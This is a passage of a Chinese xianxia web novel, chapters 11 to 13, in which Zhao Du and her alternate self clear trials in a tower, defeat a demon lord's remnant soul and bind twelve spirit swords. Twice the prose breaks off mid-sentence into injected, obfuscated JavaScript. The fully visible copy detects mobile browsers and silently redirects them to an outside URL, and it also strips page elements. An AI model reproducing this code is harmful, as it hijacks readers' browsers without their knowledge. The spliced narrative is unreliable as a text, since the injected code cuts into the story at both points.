朝渡轻叹:“连堂堂织梦使也是这样,明知是梦,却不愿意醒来。” “求你了不要再说了!”织梦使闭上眼,颤抖着崩溃道,“杀了我吧!让我解脱吧!” 另一个朝渡愣愣问:“这什么情况?” 朝渡走到了织梦使身旁,将手搭到了千钧剑的剑柄上,隔着长剑俯视着他,轻声道:“不行呀,毕竟刚才已经答应你不杀你了。而且,死人要如何杀?” “死人……他已经死了?!”另一个朝渡诧然。 织梦使疯狂摇头,把自己精心梳理的一头白发都摇散摇乱了,神色惊恐慌张:“不可能,不可能!我没死!没死!对了,你这么强,身份肯定不一般,你能不能把我带出来?我可以给你当奴仆,让我做什么都可以!” 随后他又不顾锐利的剑锋,猛地坐起拉住朝渡的衣角,含泪乞求道:“求你帮帮我!我不想留在这里当修仙界的试炼阵法,不想当那个被玩弄的人!看在我刚才尽力帮你忙的份上,帮我一下吧!” 朝渡握着剑轻轻退后一步,雪白的衣摆如流水般从他手中流出,她俯视着他,淡淡问:“你当年叛逃修仙界去当魔修,肆意玩弄他人人心,害了那么多人时怎么就没想过会有今天呢?不过有个好消息,以你魂魄的破碎程度,大概再当个一两次‘考官’,你就会彻底魂飞魄散得到解脱了。” 织梦使呆呆地望着朝渡,失去血色的嘴唇颤抖不已,他绝望崩溃地又笑又哭起来。 朝渡挥出一道剑气,送他短暂地安息。 天上的血月再次轮转。 另一个朝渡愈发困惑:“这到底是怎么回事?” 朝渡解释:“当年他在锦绣城害了太多人,被仙盟捉住,抽出魂魄,投入待仙塔中充当试炼阵法,虽说仙盟有用秘法将他的记忆只停留在锦绣城之战的那一夜,但以他精通幻术的本事,他应该能察觉到这根本不是真正的锦绣城,而是一个幻术阵法,只是他不愿意从‘梦’中醒来罢了。” “原来如此……”另一个朝渡一声长叹,颇为感慨,“连织梦使都不愿意从梦中醒来呢。对了,我找到我想要的剑了。” 朝渡:“……朗月剑?” “嗯!”另一个朝渡露出幸福的笑容,“那是我跟他的定情信物。” “……?”朝渡欲言又止,最后还是忍不住提醒她,“刚才那只是一场梦,那不是真实发生的事。” 另一个朝渡却执意道:“我经历过,那就是真实发生的事了!而且连织梦使也说,那是傅不辞有可能说出来的话吗?或者抛开这些不谈,朗月剑本身就是把很不错的剑呢!” 朝渡沉默地望向空中的血月,忽然有点想笑但笑不出来的感觉。 好消息,另一个自己终于找到想要的剑了。 坏消息,这把剑是另一个自己在梦中跟一个幻影的定情信物。 朝渡扶住额头,一声无奈轻叹:“算了,先看下一关吧。” “唔,朗月剑应该不在待仙塔,更有可能在他的私库里。”另一个朝渡小心翼翼地看向朝渡,“要不我们一会再去趟他的私库?” 朝渡:“行,那第十层你还想闯吗?” 另一个朝渡小声道:“我都行,看你?” 朝渡:“……来都来了,看看吧。嗯?这位是?” 不远处的屋檐上,临风立着一个身着赤红劲装的高大男子,他像一团炽烈赤红的火,容貌俊美明艳到张扬耀眼的地步,双目如鹰,手中握一把鬼气森森缠绕红光的白骨剑,此时他正歪头打量着地上的两个朝渡。 朝渡观察他:“这般容貌,这柄骨剑,加上那晚出现在锦绣城,他应该是前魔尊的左护法,‘血浪剑’霍纵吧?” 11. 魔尊 “霍纵?!”另一个朝渡讶然,“原来是他,难怪有这样的容貌,毕竟是当年的修仙界第一美人……咳,你听说过吗?据说他暗恋前魔尊,为了追随她甚至不惜放弃凌玄宗长老身份入了魔,那可是当年盛极无双的凌玄宗啊。”另一个朝渡啧啧感慨。 忽然,霍纵动了,举起白骨剑一挥,剑气如滔天血浪,裹挟着炽热滚烫的气息向两人直扑而来。 另一个朝渡讶然:“不就说了两句修仙界人尽皆知的八卦,他这么大的脾气,这就直接开打了?” 朝渡道:“倒不是因为这个,他不是魂魄,而是一个幻影,应该听不懂我们在说什么。” 同时,朝渡眼神微凝:这血浪里魔气怨气过于浓郁,如果她没记错的话,血浪剑的剑气有污染效果,如果兵器或者法器碰到,轻则短暂失去灵力,重则被完全腐蚀,再不能用。 有点麻烦。 但也只是有点。 朝渡收起千钧剑,只抬臂并指一划。 下一瞬,锐利的剑气裹挟着万道雷光,撞上那重重血浪。 巨大的轰声与刺眼的血红光中,周围数十丈皆在瞬间被夷为平地。 另一个朝渡震惊问:“你不需要剑也能释放剑气?!” 朝渡:“千钧剑已与我的左臂融为一体,我先跟他过过招,你躲远点!” 后半句飘散在空中时,朝渡的身形已经消失在原地,只余一道残影。 “好!”另一个朝渡应道,一边向远处撤退,一边观察战局: 但见雷闪浪涌之间,狂风大作,房屋树木倒塌之声接连不断,眨眼间那两人就把数条街夷为平地,飞沙走石与白光血浪之间几乎看不清两人用剑的招式。 真是令人震撼的力量…… 另一个朝渡看得心情澎湃,她从未想过自己竟也有可能会拥有这般力量。 等她拿到朗月剑,她一定要好好开始修炼。 一白一红的剑气交织在锦绣城上空,几乎将整座城遮蔽,不过白色剑气逐渐占了上风。 忽然间,天地俱静,风沙皆停,随着一串血珠洒落焦土上,血月再次开始圆缺轮转。 朝渡如白鹤般悠悠落在了另一个自己旁边,白衣未染一尘。 她看着天上的血月轮转,闲聊道:“关于刚才你说的他入魔的原因,我还听过另一个说法:他,甚至前魔尊,当时都面临修为达到瓶颈、阳寿却将尽的困局,他们的很多同龄人纷纷羽化沉寂。为了不死,他们修习禁术成为魔修,掠夺他人阳寿给自己续命。他的剑因他入魔后杀了太多人,饮了太多血,剑锋甚至变成了白骨质地。从‘火浪剑’到‘血浪剑’,不知道祸害了多少人。” 另一个朝渡却道:“我也听说过这个原因,不过我还是更喜欢另一种原因,他为爱生死相随,不论仙魔,多痴情啊……咳咳。” 朝渡幽幽看了眼另一个自己,无奈,头疼。 另一个朝渡默默抬头看天,假装无事发生。过了一小会,她忍不住问:“你就不想得到谁的真心吗?” 朝渡懒懒道:“我感觉真心这东西,太讲缘法,强求是求不来的,不如随缘。而且我其实得到过真心,甚至不止一个人的,当然,我也给出过真心。” “真的吗?!甚至好几个人?!”另一个朝渡眼神一亮,明显兴奋起来,“都是谁?我认识吗?还有那个能让你给出真心的人,以你的眼光和能力,他应该是个很优秀的人吧?这个我应该至少听说过。” 朝渡似笑非笑地看她:“你认识,也确实很优秀,遥遥,师尊,苏刺等等,每个对我都是真心相待,我也回之以真心。” 另一个朝渡深深沉默时,朝渡看向自己的左臂,肯定道:“嗯,当然也包括你。” 另一个朝渡:“……剑也有真心吗?” 朝渡唤出千钧剑,让它浮于空中,笑问:“你有真心吗?” 千钧剑身上的雷光微微闪烁,仿佛点头。 另一个朝渡迟疑问:“它身上不是经常有这些雷光吗?” 千钧剑身上的雷光消失了一瞬,随即激烈闪烁,滋滋乱响,照得整条街都亮了起来。 像是方才以折扇遮面的羞涩美人,轻轻点头后却发现对方听不懂自己的话,于是扔了折扇,换了把长剑,怒声问对方听清楚没有。 朝渡蓦地笑出了声。 另一个朝渡连声道:“好好好,你有你有!” 千钧剑上的雷光又消停下去,剑还往朝渡身边靠了靠,贴着她的袖子不肯再动,仿佛方才受了巨大的委屈。 朝渡轻抚剑身安慰它,它还发出轻柔的“滋滋”声,像是十分舒服满足,与方才恨不得毁天灭地的动静天差地别。 另一个朝渡:“啊……它这样好像只小猫,怪乖巧的,嗯?好像有笛声?你快看,那边空中像飘带的是什么?天上那是……又一个新月亮?!” 朝渡抬头看去:此时锦绣城上方竟有一大一小两轮血月悬在空中,城中洒满不详的红光,靠近城中心的位置,有一条条血红与惨白的“缎带”飘向空中,汇聚向城中心上空的一轮小“血月”。 朝渡神色微肃:“那不是月亮,而是魔尊灵逆的‘炼仙炉’,天上那些‘飘带’是汇向‘炼仙炉’的‘血溪肉河’,那声音不是笛,而是灵逆吹奏的篪声。” 另一个朝渡脸色白了几分:“第十层竟然是灵逆这个大魔头吗,啊,你看这边,这几具遗体也开始变形了!” 离她们较近的几具遗体竟变得越来越“柔软”,面与手等在衣服外的部位如被风拂过的湖面,泛起层层波澜,又有丝丝缕缕或猩红或惨白的线从面与手,还有衣领衣袖中钻出,向着炼仙炉的方向飘飘扬扬,几欲随风飞去。 朝渡:“看来她的篪声已经影响到这里了,她应该是想将满城的修仙者都炼化。” “我的手!”另一个朝渡忽然惊愕道,“出现了好几个小红点!还有点疼!” 朝渡将长剑抽出鞘,把剑鞘递给她:“你灵力不够,被篪声影响了,拿着这个,能帮你抗衡一下篪声,不然一会你就会被活活炼化的。” “活活炼化?!”另一个朝渡猛地打了个寒战,欲哭无泪,“这第九层也太凶险了。” 朝渡倒不意外:“毕竟是第九层,我们过去炼仙炉那边看看,或者你在这等我也行,这边篪声比较小,已经算是相对安全的地方了。” 另一个朝渡面露纠结,朝渡能听到她在心里问:“在这相对安全,可怎么感觉还是跟在她身边更安全……?但是跟着的话会不会拖后腿?” 朝渡轻笑:“要不还是跟我一起吧,做个伴。” 另一个朝渡眼睛一亮:“好!” 两人御风而起,向着炼仙炉飞去,穿过街道掠过屋檐。 离那轮“小血月”越来越近了,此时已能看清它本来的模样:那竟是一个巨大的炉子,炉身周围缠着浓郁如雾的血气,浮于半空好似一轮血月。 一个带着青铜面具,身穿厚重华丽礼服的女子站在旁边的高楼顶上,吹着一支骨质的篪,曲调幽幽,似雪谷凉风,寒气渗人。 朝渡落在高楼屋檐一角,远眺这一幕,轻叹:“修仙界有‘镇魔钟’,这魔尊就搞了个‘炼仙炉’出来,害了数不清的修仙者。” 另一个朝渡停在她身边,忧心问:“这里的魔尊,是幻象还是像织梦使一样是魂魄?” 朝渡:“是魂魄,但只是部分,应该是从仙盟捉到的她的几个分身中提炼出来的,但哪怕是残魂,也比幻象难对付多了。” 另一个朝渡更发愁了:“那要怎么办?而且我记得这个大魔头有不死之名,她擅长掌控血肉,恢复能力极强,甚至到了能‘起死回生’的地步,还有许多分身可以随时转移,如果这幻象也达到这种程度了可怎么对付她?” 朝渡观察着前方诡象,却道:“何来真正的不死之人?不过是难杀些罢了。” “哎?”另一个朝渡看向她,“那你也……?” 朝渡转头回看她,挑了挑嘴角:“我不是人,是仙。” 另一个朝渡:“……那就好。” 朝渡笑着摇了摇头:“开玩笑的,仙亦可死,更何况没成仙的她。你看,她现在将自己大部分力量都用于引血肉白骨入炉,虽然她必然留了后手保护自己和炼仙炉——比如现在吹篪的这个或许并非本体,而是分身,但此刻的她,相对而言是比较虚弱,比较好杀的。” 另一个朝渡有被震撼到:“甚至是,比较好杀?!” 朝渡颔首,指尖拂过长剑剑脊,目光愈发锐利明亮:“如果时机得当,力量足够,只需一剑。” “只需一剑?!”另一个朝渡彻底愕然,原地呆住。 朝渡再次点头,神色微肃:“不过有点麻烦的是,我现在的力量被此方天道压制了,一剑怕是未必能有这效果。” “啊?那怎么办?”另一个朝渡跟着急起来,“那不就给她不断转移恢复的机会了吗?” 朝渡望向那炉子,沉吟片刻,道:“一剑没法完全杀她,那就尽量重伤她。我需要最大限度地唤醒力量,你替我护法,看紧周围。” 另一个朝渡:“好——啊——?!” 她话音未落,便感到一阵巨大的气浪涌来,如果不是朝渡按着她的肩,那气浪已经将她掀翻吹飞不知多远了。 她愕然看向气浪来处: “月亮”,被劈开了。 一道携着雷光的巨大剑气,好似一轮清亮剔透的弦月,在一瞬间,自上而下穿过城心上空的小血月,以及它周围原本隐形的层层骨链屏障,将它劈成了整齐对称的两瓣。 仿佛无穷无尽的血海从两瓣炉中疯狂涌出,眨眼间就吞没了整个城心,吞没了同样被劈成两半的“魔尊”,以及“魔尊”身前一个也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那该怎么找她?”另一个朝渡发愁地望向仍在飞速蔓延的血海,它像一张血盆巨口,把遇到的高楼树木等一切全部吞没,很快就要蔓延到她所站立的高楼了。 一只只巨手从血海中伸出,如海浪般高高举起又无力落下,应是灵逆的残余力量试图掌控血海。 “她会在血海的哪一处?”另一个朝渡努力辨认。 朝渡分身在旁边道:“得用剑鞘找,你把剑鞘给我。” “啊?用剑鞘怎么找?”另一个朝渡疑惑问,但出于对朝渡的信任,她并不犹豫地把剑鞘递向朝渡分身。 忽然间,剑鞘雷光骤现,迅疾地劈向朝渡分身。 “?!”另一个朝渡一瞬间毛骨悚然,但见雷光之中,朝渡分身脸上正在融化的五官,扭曲的笑容,还有深不见底的瞳孔。 “连你也被寄生了吗?!”另一个朝渡猛地后退几步,握紧了剑鞘。 这个朝渡分身被雷光彻底劈焦,却又迅速长出新的血肉,褪去焦肉,眨眼间便恢复如初! 朝渡分身露出森冷的笑意,一步步紧逼向前:“这到底是什么剑?我竟不曾见过。她还自称是仙,呵,这世上不曾有人成过仙,连我师尊都不曾成仙,更何况她。” 一道剑气自空中劈下,朝渡分身眨眼间化作一滩血水,融进了已蔓延到下方的血海之中。 一个白衣身影如鹤般落到了另一个朝渡身旁,另一个朝渡看了看她手中的无鞘长剑,但仍然警惕着不敢靠近。 朝渡赞许道:“不错,就这样,在这里谁也别信,别松开剑鞘。” 另一个朝渡:“……你是真的?没被寄生?” 朝渡颔首:“如假包换,不过建议你别信,一会有冒牌货来顶替我也说不定,总之你别松开剑鞘。” 朝渡说着,将千钧剑“噌”一声插在身前,随后一拂衣摆,原地打坐。 “我刚才力量用了大半。”朝渡闭着眼道,“现在我很虚弱,需要休息恢复。”她为来这方世界就用了许多力量,来后又被此方天道一直压制,哪怕她的恢复速度极快,刚才闯过的八层和那“斩月”的一剑也将她恢复的力量耗得差不多了。 “啊?”另一个朝渡焦急关切问,“那怎么办?!你别跟我说!别让魔尊听到了!等等,难道……” 朝渡轻轻笑了笑:“没错,就是要让她知道,我懒得去找她,不如让她来找我。灵逆,这是我最虚弱的时候,敢过来吗?还是打算等我彻底恢复,给你再来一剑?” 朝渡说完后,周围除了血海的翻涌嘶吼声,一切如常。 朝渡毫不在意地继续打坐,另一个朝渡能感觉到,她的灵力在以惊人的速度恢复。 ‘这就是仙吗?连恢复速度都如此惊人!’另一个朝渡在心中惊叹道。 忽然间,朝渡的脸与手上长出红点,抽出肉芽,以飞快地速度长成了“柳条”,牵扯着她的五官与身躯融化扭曲。 另一个朝渡一声惊呼,几乎想立刻把剑鞘送她手中,与她同握剑鞘,让她也置身剑鞘的保护中,却见千钧剑剑身忽然雷光大作,将朝渡整个人包裹雷光之中。 在朝渡彻底被雷光遮蔽前,另一个朝渡隐约看到她的嘴角微微上扬:不知是因为被魔尊扭曲了血肉,还是因为……现在正合她意? 12. 第十层 电闪雷鸣之中,朝渡在自己的神识海中,躺在藤椅上,悠闲惬意地同“来客”打招呼: “来啦?” 她的神识海的主体是一片鲜花盛开的旷野,中心有一片剔透湛蓝的湖,湖边有一座被花包围的简朴木屋,屋前有藤椅、秋千和石桌等物,远处还有恢弘的山川作景。 若是抬头举目,可见千里晴空,还有云间一座大如日月的辉煌楼阁。 不过往日里悠闲的微风,此刻变成了怒号的狂风。 朝渡从藤椅上站起来,漫步向湖边,迎着狂风,张开双臂,任狂风卷起自己的衣袖衣襟,在震耳欲聋的轰然雷声中,笑得惬意自在:“来了,可就别急着走了哦?” 对方谨慎地没有回答,但原本各色缤纷鲜花盛开的旷野,忽然开始枯萎,无数血色的彼岸花从四周钻出土壤,如地毯般飞速铺开,绞杀着原本生机勃勃的旷野。 连原本蓝宝石般的湖水也漾起血色,隐约可见有一群巨大的怪物在湖中游动,掀起腥风血浪。 朝渡并不在意灵逆杀意汹汹的侵蚀,举起一只手,在狂风中打了个清脆的响指。 刹那间,乌云滚滚翻涌,原本的晴空消失不见,千万道雪亮的天雷自乌云冲锋而出,势如利箭般奔向下方旷野与湖泊,旷野中的花不但没有瑟缩,反而像是听到了冲锋的号角,疯狂地生长,将彼岸花与湖中的一群怪物囚禁起来——那可怖的雷光仿佛它们渴求已久的养分。 朝渡的身与魂均沐浴在滚滚天雷之中,可她面容平静,嘴角甚至微微扬起: 灵逆狡诈谨慎,分身无数,还能随时转移,找是根本找不到的,只能等她自己送上门来。 她以自身真实的虚弱作饵,引灵逆上钩,灵逆果然不舍得错过宝贵机会,不但来了,还几乎倾尽全力。 不入虎穴,焉得虎子。 胜负在此一搏。 她和灵逆都是这样想的。 同样都是虚弱状态,就看是魔高一尺,还是道高一丈了。 存于千钧剑中的天雷之力在顷刻间席卷她的身与魂,不过这种程度,对于她这种经历过千百次天雷淬炼的仙而言,大约只算沐浴了一场早春里的小雨。 还怪舒服的。 但对于不曾经历过一次天雷淬炼的魔尊灵逆而言,这几乎等于天上下刀子,下的还是极其克制她魔气的刀子。 灵逆不信世上有人成仙——灵逆所在的这方世界确实也不曾有人成仙,不过这样一来,她自然也料不到有人竟能掌控天雷之力。 朝渡在烈雷狂风中悠闲漫步于湖边。 当雷声停止,乌云散去时,旷野上又是一片欣欣向荣之景,湖水重归宁静和湛蓝,抬头仍是千里晴空,云中楼阁耀如日月。 这局,她赢了。 朝渡睁开眼,手和手腕上还缠绕着没完全散去的细碎雷电,方才的“柳条”已经消失不见。 千钧剑不知何时歪到了她手边,旁边的另一个朝渡一脸担忧地问:“赢了吗?你还是你吗?” 朝渡被她逗笑了:“我还是我,赢了。若是真正的灵逆,这种程度大概还杀不了她,第九层还是容易了些。不过刚才我特意没把她的残魂全部杀尽,总得给后来人留点挑战嘛。” 她将千钧剑横于膝头,抬头望向空中血月:它再次开始轮转,同时开始“褪色”,血色的月光逐渐变得雪白清亮,锦绣城那日的长夜终于结束了。 朝渡向另一个朝渡伸出手:“来,可以把剑鞘给我了。” 另一个朝渡捧着剑鞘,犹豫地看了看天上逐渐褪去血色的月亮,不确定地问:“这关真的结束了吗?不是幻觉吗?你刚才说谁要都别给……要不还是等下关开始再还你吧?” 朝渡失笑:“也行,谨慎点好。” 朝渡话音刚落,她膝头的千钧剑忽然飘了起来,噼里啪啦地闪着雷光,像是颇为不满,下一瞬,剑鞘猛地一甩,挣脱了另一个朝渡的手,如箭般飞向千钧剑。 墨玉长剑瞬间入鞘,随后轻轻落到朝渡膝头,静静躺着,一动不动,一闪不闪,看起来竟有点生闷气的样子。 另一个朝渡小声问:“……它是不是生气了?” 朝渡用指尖戳了戳剑鞘:“唔,这次气不小呢。” 剑鞘忽然闪了闪光,仿佛在狡辩什么。 朝渡安抚它:“好好好,你没生气,你是世界上最大度的剑了。” 另一个朝渡没忍住笑了起来。 剑身一闪,消失在朝渡的左臂中。 “你别笑它,它容易害羞,好好没有没有。”朝渡安慰着,随后举起手臂悠悠伸了个懒腰,抬眼打量了一下空中即将轮转结束的清亮玉轮,还看到了锦绣城里一盏盏亮起的灯火。 锦绣城重归锦绣。 “月亮的血色完全消失了,不知道第十层会是什么考验?” 皎皎明月,周围月光盛到了极致, 朝渡周围的一切骤然变黑,伸手不见五指。 随后一豆灯火亮起,朝渡借着光打量四周: 这是一间空荡荡的石室,有一盏铜灯,一张石桌,两张小石凳,两个人。 烛火静静燃着,照亮了石桌上的东西:两柄剑尖相对而放的木剑,两杯并列而放的茶。 朝渡站在石桌前,石桌后是另一个她。 朝渡看了眼自己的左臂:此处阵法在试图压制她的灵力,并且封印了千钧剑,虽然不是不能挣脱打破阵法,但考虑到这或许是第十层的历练,她打算先顺着阵法的意思来。 不过看阵法的意思,这屋中唯一能使用的武器便是那两柄简朴木剑了。 她抬头与另一个自己目光对视,讶然发现这并非那个痴情脑袋的自己,而是更像自己的自己。 看来第十层把她俩分开了,另一个朝渡的意识应该是被抽离到了另一个空间。 朝渡同对面的人打招呼:“你好,另一个我。” 对方默而不应,只静静看着朝渡,似乎在等待朝渡选择。 朝渡向桌子上的东西伸手,另一个她也伸手。 或许朝渡选择什么,她也会选择什么。 朝渡收回手打量着木剑与茶杯,思考着这两样东西代表的意义。 剑,也许代表着战斗。那茶呢?它装在茶杯里,却未必是茶,也许是杯毒药。 看起来似乎拿剑更稳妥一点。 但朝渡总感觉,放在茶杯里的应该只是茶,而不是毒药:不然第十层在考察未来剑仙会不会因为口渴,或者在通过第九层后骄傲自满,自信饮茶而误饮毒药吗? 朝渡将手伸向茶杯,对面亦然。 朝渡心中更有几分成算,她举起茶杯,正要饮,又忽然想起,哪有站着饮茶的? 正巧石桌对面各有一个小凳,朝渡坐下,对面的她也跟着坐下。 朝渡举着茶杯,看着对面另一个自己也举杯待饮,两人仿佛多年的好友。 朝渡一瞬间心念通透:原来这层考察的是,自己与自己的相处。 在漫长的岁月里,最了解自己的是自己,陪伴自己最久的也是自己,自己无时无刻不在与自己相处,自己与自己怎么不算多年好友? 木剑与茶杯,没有选择的对错之分,只是代表着两种与自己相处的方式——进可持剑战胜自己,更进一步,退可与自己共品一杯清茗,看岁月悠悠。 朝渡笑了笑,举起茶杯尝了一口,“茶水”清冽甘甜,冲淡了一路行来的些许疲惫,补了不少灵力,甚至让她的神魂都有些舒展,这“茶水”应该是由某些珍贵的天材地宝萃取而成,不知是个什么名字。 关于待仙塔的一切,都是严禁设计者和入塔者向外透露的。虽然她后来地位极高,不但有权了解关于待仙塔的一切,甚至还能修改待仙塔,但她懒得专门去干这个。 朝渡同眼前的多年“好友”闲聊道:“这茶不错。” 她的声音在石室中回荡,仿佛是另一个自己在回应她。 她将茶水饮尽,惬意地眯了眯眼,对面亦然。 朝渡想起另一个朝渡,她会怎么选?朝渡默默在心中道:“她可别这时候惦记上剑,非要选个剑啊,自己要打过自己还是挺难的……不过也不是不行。” 石室里光线陡然变亮,石壁消失,朝渡感觉到意识回归本体,听到了千钧剑的焦急呼唤。 她坐在石凳上安抚着剑,瞟到地上立起了一个一人高的待仙塔的虚影——应该是进入待仙塔的通道,也许会直通待仙塔第九层。 同时,左边还出现了一个透明的阵法,里面能看到另一个朝渡以及她的另一个她。 另一个朝渡已经选了剑。 ………… 不久前,另一边。 另一个朝渡看着桌子上的剑和杯子,果断伸手拿了剑。 她的理由很充分:首先,身为仙人的自己教导自己,一定要有把剑!她们来闯待仙塔的目的就是为了剑,现在有剑怎么能不选剑?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577579|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其次,谁知道这茶杯里放的是茶还是毒?而剑可是实打实的剑! 另一个朝渡握住了剑,感觉有种莫名的安心和激动,只是一抬头发现对面也握住了剑,看起来一场大战不可避免。 她忍不住看了眼茶杯:难道选茶杯就是两人一起喝杯茶吗?不可能这么简单吧?! 无论如何,既然现在要打,那就打吧! 另一个朝渡好几年没有用剑打过架了,猛一挥剑还有点生疏,但交手几招,她逐渐找回了些当年的感觉。 值得庆幸的是,对面的剑法跟她一个水平,两人一时竟菜得难分胜负,没人占上风。 另一个朝渡忽然有点想笑:这大概是第十层迎来的水平最烂的挑战者…… 打着打着,另一个朝渡倒是没有输,但是也赢不了,体力还有点见底了。 她试探着停止进攻,对面也停了下来,她原地坐下来,对面亦然。 她一边恢复体力,一边思索,要怎么赢过对面,对面的水平跟她一样,换言之也就是怎么在短时间内让自己的剑法提高一截。 “剑法……”一想起这两字,另一个朝渡就想起另一个自己那翩轻如桃花的剑气,浩荡若天雷滚滚的剑势。 她闭上眼打坐,试图从方才的所见所闻中参悟几分剑意。 轻与重,气与势…… 不知过了多久,她睁开眼,眼神比方才清亮不少。 不止悟出了些仙人的剑意——虽然不多,不过在有限的时间里能领悟到一些她已经很满意了。 另外更关键的是,她还回忆起了些当年练剑时那种全神贯注,人剑合一的感觉。 “来,我们再试试。”她擦了擦额上的一层汗,提起剑站起身,另一个她亦然。 两柄木剑再次交锋,其中一柄的移动明显比另一柄轻快了些,且剑势还分毫不弱,隐约竟有了几分朝渡用剑的样子。 渐渐地,另一个朝渡占了上风,并且用剑越来越娴熟,越来越有她当年修为巅峰期的模样,剑出随心,如此快意!如此自在! 在全神贯注,心念通透之间,随着她挥出一道迅疾如雷的剑风,对面另一个她手中的木剑应声而断。 整个石室蓦然变得明亮,仿佛长夜已尽,朝阳初升。 ‘天亮了?’另一个朝渡一时有点恍惚。 一阵掌声响起,另一个朝渡蓦然回神,发现是那个来自另一个世界的自己正在鼓掌,她旁边的石桌边上放着一个空荡荡的茶杯,而石桌上的两柄木剑纹丝未动。 另一个朝渡顿时神色复杂:“……这关能选茶杯?!” 朝渡点头笑道:“能呀,不过选剑也很好,能打过自己很厉害了。对了,把那杯茶喝了,那是个好东西。” 另一个朝渡有点哭笑不得,端起茶一饮而尽,随即惊叹:“好滋养的茶!至少补了得我百年修炼的灵力!” 朝渡点头,指了指待仙塔的虚影:“我们胜了,可以离开了,不过你确定不要藏剑塔第九层里的剑吗?这里藏的可各个都是神兵利器,修仙界人尽皆知,多少人做梦都想要。” 另一个朝渡坚决摇头,又露出一点温柔羞涩的笑意:“我只想要朗月剑。” “……行吧。”朝渡捏了捏眉心,无奈道,“那我们进了塔后不选剑,直接出来,这估计在待仙塔还是头一次。” “嘿嘿。”另一个朝渡不好意思地笑了笑。 两人一起踏进待仙塔的虚影,下一瞬,周围环境变幻,无数紫金色的星辰洒满周围。 其中一些星辰在两人身前不远处聚成了一个大大的“九”字,这里该是藏剑塔第九层。 而在两人身后则是一道金色的圆圈,透过金圈可见待仙塔周围的群山,应是待仙塔的出口。 忽然,随着一声声或轻亮或厚重的剑吟,一柄柄神兵利刃自紫金色的星辰间浮出,纷纷飞到朝渡身前,霎时竟摆了一排。 随后它们纷纷主动出鞘,亮出各有特色的兵刃,一时间,这些神兵锋刃的光芒竟灿过了漫天紫金星辰! 另一个朝渡讶然:“这是……它们想认主?” 朝渡点头:“能收在待仙塔第九层的神兵们都颇有灵性了,在由人择剑前,先由剑择人,如果不是想认主,它们或许都不会露面,嗯?” 千钧剑忽然浮出朝渡左臂。 长剑自动出鞘,墨玉剑刃闪烁着夺目耀眼的雪白雷光,横着悬停在朝渡身前,气势汹汹地将朝渡与这些神兵利刃隔开。 13. 剑仙出世 周围一时安静。 过了片刻,几柄神兵利刃收起锋芒,无声消失在了星辰间。 但还剩几柄名剑,反而朝着朝渡又靠近了些,径直与千钧剑锋芒相对。 另一个朝渡不禁感慨:“看来它们真的很想认你为主。” 一位身着轻甲,发若白雪,眸若赤金的女子现了身。 她向朝渡行了个抱拳礼,声音铿锵有力地道:“曜灵剑愿追随剑仙,斩尽世间妖邪,证仙道昭昭!” “既逢明主,岂能错过?”随着一道含笑的少年声音响起,一柄剑忽然青光大作,眨眼间,剑旁多了一位洒脱利落的少年剑客。 剑客目若朗星,一身云纹青衣,头戴竹编斗笠,英姿飒爽仪表不凡。 他对着朝渡恭敬行了一礼,随后抬起头,笑吟吟道:“英主难觅,剑仙难寻,如您不弃,濯天剑愿随您涤荡天地浊尘。” 又有数个剑灵纷纷现身,皆有认主追随之意。 朝渡望着这群剑灵,不得不承认,她有点心动了,她孤身来到此方世界,正缺几个忠心可靠的助手。 她瞄了眼千钧剑,后者身上的雷光弱了很多,大约是察觉到她的想法有变,看起来有些茫然无措。 但它沉默不语,只是静静等着她的抉择。 朝渡伸出手,捞回千钧剑,但并不收回鞘中,而是拿在手中。 随后她同对面几柄赫赫有名的剑与剑灵笑道:“不好意思各位,我有剑了,今天也不是来选剑的。” 几位剑灵面露憾色,几柄名剑缓缓收剑归鞘,而千钧剑比刚才亮了不少,小幅地闪着雷光,看起来颇为高兴。 朝渡又道:“不过,我正缺几位帮手,如果各位有意,可随我离开待仙塔,共清邪魔,共登仙途。” 几柄名剑再次明亮起来,甚至又现身了几位新的剑灵。 千钧剑的光芒稍微黯淡了些,但只是静静呆在她手中,不闪不晃,不言不语。 朝渡将千钧剑收起,轻抚左臂,打量着眼前越来越多的剑灵,思索起来:愿意跟她离开待仙塔的神兵利器似乎有些太多了。 如果全部带走,必然会成为全修仙界的重点关注对象。 但是,那又有什么关系呢? 从她进入待仙塔,打算挑战第十层开始,就没打算低调了。 该紧张的是傅不辞。 她不介意给傅不辞多上点压力。 朝渡一声轻笑,摊开手,指尖浮出数滴金色的血珠:“那么愿意跟我一起离开的,就来完成仪式吧。” 共十二柄神兵利器出鞘,利刃散发出光辉,期待着新的主人。 金色的血珠飞入了十二柄剑的剑脊或剑格、剑首处,与剑相融。 这也代表着共有十二柄神兵利器接受了仙人之血代表的契约。 旁观的另一个朝渡惊愕问:“这么多,你都要带走?!” 朝渡颔首,一卷袖子,将这十二柄神兵利器悉数收入袖中,随后轻快道,“好了,咱们出来吧,对了,你真的不要选一把?这是最后的机会了。” 另一个朝渡被她刚才收剑的场面震得好一会才回过神,连连摇头道:“不了不了,我只想要朗月剑。” 朝渡扶额轻叹一声,向她伸出手:“那我们走,估计外面会有人来拦我们,一会我带你一起隐匿。” 另一个朝渡伸出手回握她,不解问:“外面为什么会有人,我们不是偷偷来的……哦!我想起来了!这边开塔,仙盟那边是能看到的!刚才居然忘了这一茬!” “不止这个原因。”朝渡笑着带她走向金色的出口,“等出来时应该就能听到了。” 另一个朝渡微微一愣,眼睛蓦然亮起:“我们已经过了第十层,待仙塔会昭告天地……!” 两人迈入金圈的那一瞬,似有巨大的龙吟之声在耳边呼啸。 还能看到金圈外,有万丈熔金炼紫的霞光煌煌燃起,将原本已沉沉落下的夜幕照得亮如晨曦。 围在塔外的一圈修仙者全部惊愕抬头。 朝渡抓住机会,带着另一个自己隐匿气息御风而行,穿过外面新设的三层阵法,飞到另一座相邻的山峰崖顶坐下,远眺待仙塔。 